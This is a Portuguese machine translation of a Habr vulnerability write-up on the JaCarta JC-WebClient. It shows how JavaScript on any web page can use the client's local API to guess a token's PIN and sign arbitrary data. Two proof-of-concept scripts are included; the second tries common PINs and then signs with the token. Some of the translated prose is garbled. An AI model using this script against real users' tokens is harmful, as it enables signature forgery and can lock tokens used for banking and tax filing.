Testar o JaCarta WebClient ou armazenar tokens em um cofre

"Quando a cobertura preta foi arrancada por um momento, Margarita se virou e viu que não havia apenas torres multicoloridas com um avião se desenrolando acima delas, mas também não havia nenhuma cidade que caísse no chão e deixasse apenas neblina".

M.A. Bulgakov
"Mestre e Margarita"

Olá Habr! Provavelmente quase todas as organizações russas têm esses produtos em uma alegre coloração multicolorida. Estamos falando de produtos e software JaCarta para eles. Essa felicidade caiu sobre mim também, e eu decidi expandir um pouco a capa preta escondendo sua essência, ou API. Alguns bancos, especialmente emitindo tokens JaCarta GOST-2 para seus clientes, exigem a instalação do aplicativo JC-WebClient da Aladdin R.D. para funcionar.

Embora não haja uma nova distribuição no site oficial do desenvolvedor (na seção Demo, você pode baixar uma versão mais antiga, mas usa a API desatualizada), a distribuição pode ser encontrada usando o Google na linha "JC-WebClient-4.0.0.1186" nos sites da RB.

Depois de instalar o aplicativo no computador do usuário, a porta 24738 é aberta na qual esse cliente trabalha.

https://localhost:24738/JCWebClient.js

O site do desenvolvedor descreve abertamente e em detalhes a API desse aplicativo (bem como as funções de trabalhar com o sistema de arquivos de toda a linha de tokens deste fabricante por meio do jcFS.dll, que faz parte do pacote de instalação do "JaCarta Single Client") e, em última análise, usando várias funções, você pode assine a assinatura digital do token com qualquer coisa, escolha um código PIN ou bloqueie o token com tentativas sem êxito de inseri-lo. E tudo isso remotamente via Internet.

Não é segredo que os usuários costumam deixar o código PIN padrão para o token, ou aquele com o qual o receberam (geralmente têm medo de que, ao alterar o código PIN, tudo pare de funcionar).

Na maioria das vezes, são usados ​​códigos PIN do tipo 123456 e o ​​token é inserido na porta do computador ou no hub usb durante o dia útil ou mesmo ininterruptamente.

Graças ao JC-WebClient, se você enviar uma página da Web ou um email com JavaScript simples para esse usuário, você poderá, embora não obtenha as chaves do token (em alguns casos, isso é possível apenas acessando diretamente o sistema de arquivos do token, um exemplo já foi fornecido ), mas tente pegue um código PIN, assine qualquer dado e envie-o para algum lugar.

No caso de 10 tentativas malsucedidas de iterar, o token é bloqueado e com que frequência isso acontece, se o código PIN do administrador para desbloqueio não estiver definido, apenas a inicialização ajudará. E isso não é pago com impostos a prazo (e, como resultado de juros e até mesmo bloqueando a conta tributária da organização do imposto), a perda dos fornecedores, em geral, o bem não é suficiente.



O problema de enumerar o código PIN pode ser resolvido tornando-o possível inseri-lo apenas na janela da interface do JC-WebClient ou como uma meia-medida, por exemplo, no caso de três tentativas malsucedidas de inseri-lo, bloquear uma autorização adicional exibindo uma mensagem para o usuário e esperar até ele confirmará suas ações.

Eu escrevi um pequeno script de teste que mostra essa vulnerabilidade. O script funciona em todos os navegadores modernos e relativamente modernos, mesmo no IE :)

Naturalmente, ele não envia nada para lugar algum, mas simplesmente exibe os resultados de uma sequência de funções.

O script implementa uma enumeração completa de 10 tentativas de inserir o código PIN para "matar" o token, para que você possa executar o script apenas com um token de teste!

Também deve ser lembrado que o uso desse script, exceto em seu próprio token de teste, é uma violação da lei.

Resultado do teste:


O script gera um par de chaves e um certificado usando o JC-WebClient para teste.
Você pode usar o EToken PRO Java 72 K, JaCarta GOST, JaCarta GOST-2. O token deve ser pré-inicializado com o PIN do usuário 111111.

Antes de iniciar o teste, você deve instalar o JC-WebClient versão 4 ou posterior.

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } var tokenID = slot.id, //   userPin = '111111'; // PIN-  //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //  PIN- JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: userPin } }); //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //          var keyPairID = JCWebClient2.createKeyPair({ args: { paramSet: "XA", description: "my description", algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 } }); //     (Distinguished Name (DN)), //    (Common Name, (CN)) var dn = { 'CN': '123', 'C': 'RU' }; //  ,      var exts = { 'keyUsage': 'Digital Signature' }; //   var contID = JCWebClient2.generateUserSelfSignedCertificate({ args: { keyPairID: keyPairID, dn: dn, exts: exts, days: 365 } }); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id      var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //   PIN- JCWebClient2.unbindToken(); 

E, na verdade, o próprio script de auditoria de segurança:

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } //   var tokenID = slot.id; //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id     var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //    (Hello World  Base64) var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; document.write("  : "+dataToSign+" "); //   var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"]; //  function bind(pass) { JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: pass } }); } var i=0; //     //!  10    !!!!!!!!!! while (i < 10) { i++; try{ bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //  ,      if(tokenState.state=1) { document.write("   : "+pin[i]+" "); break; } } //    catch(e){document.write(e+" ");} } //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //   var CertificateBody=JCWebClient2.getCertificateBody({ args: { id: contID } }); document.write("CertificateBody: "+CertificateBody+" "); //  ,        Base64 var signedData = JCWebClient2.signBase64EncodedData({ args: { contID: contID, data: dataToSign, attachedSignature: true } }); document.write(" . "); document.write(" : "+signedData+" "); //  var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData({ args: { signature: signature } }); document.write("  : "+res+" "); //   PIN- JCWebClient2.unbindToken(); 

Fonte de informações da API do JC-WebClient

Source: https://habr.com/ru/post/pt439790/


All Articles